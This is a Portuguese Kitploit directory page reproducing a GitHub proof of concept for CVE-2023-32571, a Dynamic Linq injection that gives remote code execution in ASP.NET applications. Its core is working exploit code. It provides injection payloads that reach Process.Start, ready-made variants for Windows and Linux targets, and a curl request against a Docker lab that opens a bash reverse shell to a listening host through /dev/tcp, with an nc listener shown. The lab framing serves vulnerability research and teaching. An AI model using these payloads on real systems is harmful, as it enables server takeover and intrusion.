Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-32571-POC — Prova de conceito para CVE-2023-32571, demonstrando execução remota de código por meio de injeção em Dynamic Linq em aplicações ASP.NET. Inclui payloads e um laboratório Docker para testes. | Kitploit
Ferramentas/GitHubGitHub/tris0n/cve-2023-32571-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

Prova de conceito para CVE-2023-32571, demonstrando execução remota de código por meio de injeção em Dynamic Linq em aplicações ASP.NET. Inclui payloads e um laboratório Docker para testes.

Ver Repositório
710há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Injeção de Dynamic Linq para RCE - CVE-2023-32571

Sobre injeção de Dynamic Linq para RCE (CVE-2023-32571)

Recentemente, membros do NCC Group descobriram uma vulnerabilidade no Dynamic Linq que permite que atacantes chamem funções C# através de uma injeção Linq, possibilitando assim obter RCE.

Mesmo com o relatório de RCE sobre o Dynamic Linq, os membros do NCC Group por algum motivo não disponibilizaram o POC para executar comandos.

POC

Conforme declarado na pesquisa do NCC Group, podemos chamar métodos C# através de "Invoke". Com isso, podemos chamar "System.Diagnostics.Process.Start" e executar comandos no servidor.

Podemos usar o método "CreateInstanceFromAndUnwrap" para chamar System.Diagnostics.Process através do assembly.

Payload para usar o método System.AppDomain.CreateInstanceAndUnwrap:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

Payload para chamar System.Diagnostics.Process através do método CreateInstanceAndUnwrap:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

Ao acessar os métodos da classe System.Diagnostics.Process, podemos usar o método System.Diagnostics.Process.Start para executar comandos no sistema:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

Obs: Observe que o payload procura pelos primeiros 3 métodos Start e pega o último. Fiz isso porque a lista de métodos em System.Diagnostics.Process tinha vários métodos Start, e o que precisamos é o terceiro da lista.

Payload Final

Alvos Windows

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Alvos Linux
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

Para iniciar o laboratório, siga as instruções

Instale docker e docker-compose:

Debian

sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
sudo pacman -Syu && sudo pacman -S docker docker-compose

Clone este repositório:

git clone https://github.com/Tris0n/CVE-2023-32571-POC

Vá para o diretório do repositório:
cd CVE-2023-32571-POC

Execute docker-compose:
sudo docker-compose up --build

A aplicação inicia em http://localhost:8000/

Descrição do laboratório

Acessando a rota "/api/products" através do método POST, vemos que ela retorna uma lista de produtos:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

Ao enviar o parâmetro name no json, podemos filtrar produtos:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

Após alguns testes, vemos que conseguimos injetar na consulta Dynamic Linq. Ao enviar o seguinte payload, conseguimos obter um reverse shell:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

nc -lvp 8001

04

Referências

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
Baixar ferramenta